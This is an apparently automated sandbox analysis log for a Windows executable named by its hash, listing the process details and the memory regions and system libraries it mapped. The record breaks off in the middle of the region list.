# Flog Txt Version 1 # Analyzer Version: 2024.1.0 # Analyzer Build Date: Jan 4 2024 18:31:15 # Log Creation Date: 13.02.2024 20:59:44.385 Process: id = "1" image_name = "83741e7578d11053fd5cbbf15ed253b3.exe" filename = "c:\\users\\keecfmwgj\\desktop\\83741e7578d11053fd5cbbf15ed253b3.exe" page_root = "0x470f4000" os_pid = "0xf64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x778" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\83741e7578d11053fd5cbbf15ed253b3.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f0ba" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 114 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 115 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 116 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 117 start_va = 0x90000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 118 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 119 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 120 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 121 start_va = 0x13f6f0000 end_va = 0x140367fff monitored = 1 entry_point = 0x140366650 region_type = mapped_file name = "83741e7578d11053fd5cbbf15ed253b3.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\83741e7578d11053fd5cbbf15ed253b3.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\83741e7578d11053fd5cbbf15ed253b3.exe") Region: id = 122 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 123 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 124 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 125 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 264 start_va = 0x290000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 265 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 266 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 267 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 268 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 269 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 270 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 271 start_va = 0x3a0000 end_va = 0x406fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 272 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 273 start_va = 0x410000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 274 start_va = 0x4b0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 275 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 276 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 277 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 278 start_va = 0x7fef9280000 end_va = 0x7fef92bafff monitored = 0 entry_point = 0x7fef92822f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 279 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 280 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 281 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 282 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 283 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 284 start_va = 0x5b0000 end_va = 0x737fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 285 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 286 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 287 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 288 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 289 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 290 start_va = 0x740000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 291 start_va = 0x8d0000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 292 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 293 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 294 start_va = 0x1cd0000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 295 start_va = 0x410000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 296 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 297 start_va = 0x70000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 298 start_va = 0x1e30000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 299 start_va = 0x1f30000 end_va = 0x272ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 300 start_va = 0x2730000 end_va = 0x672ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 301 start_va = 0x6730000 end_va = 0x2672ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006730000" filename = "" Region: id = 302 start_va = 0x26730000 end_va = 0x26f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000026730000" filename = "" Region: id = 303 start_va = 0xc000000000 end_va = 0xc0003fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000000000" filename = "" Region: id = 304 start_va = 0x26f30000 end_va = 0x2772ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000026f30000" filename = "" Region: id = 305 start_va = 0x450000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 306 start_va = 0x27730000 end_va = 0x2782ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000027730000" filename = "" Region: id = 307 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 308 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 309 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 310 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 311 start_va = 0x7fefb770000 end_va = 0x7fefb79bfff monitored = 0 entry_point = 0x7fefb7715c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 312 start_va = 0x7fefef90000 end_va = 0x7feff166fff monitored = 0 entry_point = 0x7fefef91010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 313 start_va = 0x7fefd9b0000 end_va = 0x7fefd9e5fff monitored = 0 entry_point = 0x7fefd9b1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 314 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 315 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 316 start_va = 0x7fefd990000 end_va = 0x7fefd9a9fff monitored = 0 entry_point = 0x7fefd991558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 317 start_va = 0x480000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 318 start_va = 0x27970000 end_va = 0x27b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000027970000" filename = "" Region: id = 319 start_va = 0x27bf0000 end_va = 0x27deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000027bf0000" filename = "" Region: id = 320 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 321 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 322 start_va = 0x1cd0000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 323 start_va = 0x1db0000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 324 start_va = 0x27eb0000 end_va = 0x280affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000027eb0000" filename = "" Region: id = 325 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 326 start_va = 0x28250000 end_va = 0x2844ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000028250000" filename = "" Region: id = 327 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 328 start_va = 0x28590000 end_va = 0x2878ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000028590000" filename = "" Region: id = 329 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 330 start_va = 0x28790000 end_va = 0x28a5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 331 start_va = 0x7fefca60000 end_va = 0x7fefca66fff monitored = 0 entry_point = 0x7fefca614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 332 start_va = 0x490000 end_va = 0x490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 333 start_va = 0x7fefd050000 end_va = 0x7fefd056fff monitored = 0 entry_point = 0x7fefd05142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 334 start_va = 0x490000 end_va = 0x490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 335 start_va = 0x7fef7310000 end_va = 0x7fef7318fff monitored = 0 entry_point = 0x7fef73127bc region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 336 start_va = 0x490000 end_va = 0x490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 337 start_va = 0x7fef7300000 end_va = 0x7fef7308fff monitored = 0 entry_point = 0x7fef73027bc region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 338 start_va = 0x490000 end_va = 0x490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 339 start_va = 0x1d10000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 340 start_va = 0x28c20000 end_va = 0x28e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000028c20000" filename = "" Region: id = 341 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 342 start_va = 0x77a50000 end_va = 0x77a56fff monitored = 0 entry_point = 0x77a5106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 343 start_va = 0x27830000 end_va = 0x278effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 344 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 345 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 346 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 347 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 348 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 349 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 350 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 351 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 352 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 353 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 354 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 355 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 356 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 357 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 358 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 359 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 360 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 361 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 362 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 363 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 364 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 365 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 366 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 367 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 368 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 369 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 370 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 371 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 372 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 373 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 374 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 375 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 376 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 377 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 378 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 379 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 380 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 381 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 382 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 383 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 384 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 385 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 386 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 387 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 388 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 389 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 390 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 391 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 392 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 393 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 394 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 395 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 396 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 397 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 398 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 399 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 400 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 401 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 402 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 403 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 404 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 405 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 406 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 407 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 408 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 409 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 410 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 411 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" 